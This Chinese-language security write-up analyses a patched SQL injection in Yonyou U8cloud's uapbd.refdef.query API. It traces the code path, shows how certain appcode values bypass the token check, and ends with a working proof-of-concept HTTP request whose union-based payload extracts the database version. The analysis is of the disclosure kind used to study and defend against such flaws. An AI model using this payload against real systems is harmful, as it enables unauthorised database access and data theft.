用友U8cloud uapbd.refdef.query SQL注入漏洞

漏洞公告:

https://security.yonyou.com/#/patchInfo?identifier=563f888c335e4824a7a3c08353e597dd

下载漏洞补丁可以看到对u8c.impl.uap.def.action.RefDefAPIQueryAction做了非法字符和关键词的校验

查看相关路由\webapps\u8c_web\WEB-INF\web.xml

跟进nc.bs.framework.server.extsys.ExtSystemInvokerServlet#doAction方法,ExtSystemServerEnum是一个枚举类,我们的request.getRequestURI()必须以/u8cloud/yls、/u8cloud/extsystem/dst、/u8cloud/api/、/u8cloud/openapi/四个常量之一为开头。

当我们访问/u8cloud/openapi/,然后serviceName就被赋值为u8cloud_openapi

继续往下跟进到getServiceObject()方法,会根据serviceNamei去找对应的类,也就是/modules/uap/META-INF/P_API.upm中的配置,找到u8c.server.APIOpenServletForJSON类

跟进u8c.server.APIOpenServletForJSON#doAction方法

跟进u8c.server.APIOpenController#forWard方法,创建了InputDataVO对象,然后调用arseInputParameter获取传入的参数needStackTrace、trantype、isEncrypt、uniquekey并赋值

继续往下可以看到获取传入的appcode并做校验,必须包含枚举类ExtSystemKeyEnum中的值,并且当appcode等于lbsj、esn、huo、ubz时就会跳过token的校验

继续往下跟进,这里会通过一系列反射调用u8c.impl.invoke.json.InvokeWithJSonImpl#invoke->u8c.bs.invoke.bp.JSONInvokeBP#invoke->u8c.bs.config.BillConfigFileParse#queryConfigVO,根据传入serverName的值也就是/u8cloud/openapi/后的路径uapbd.refdef.query,从对应配置文件uapbd.config中读取对应的类

最终到了开始的的u8c.impl.uap.def.action.RefDefAPIQueryAction类,可以看到直接拼接refName并执行sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /u8cloud/openapi/uapbd.refdef.query?appcode=huo&needStackTrace=123&trantype=&isEncrypt=N&uniquekey= HTTP/1.1
Host: 192.168.211.177:8088
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 64

{"refName":"1%' union all select 1,convert(int,@@version),1-- "}

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=CB862275E55EBE86982A31047C00D2B7.server; Path=/; HttpOnly
Content-Type: application/json;charset=utf-8
Content-Length: 390
Date: Wed, 16 Oct 2024 01:30:25 GMT

{
"status": "falied",
"errorcode": "-32000",
"errormsg": "U8C返回信息:在将 nvarchar 值 \u0027Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) \n\tSep 24 2019 13:48:23 \n\tCopyright (C) 2019 Microsoft Corporation\n\tEnterprise Edition (64-bit) on Windows Server 2016 Standard 10.0 \u003cX64\u003e (Build 14393: ) (Hypervisor)\n\u0027 转换成数据类型 int 时失败。"
}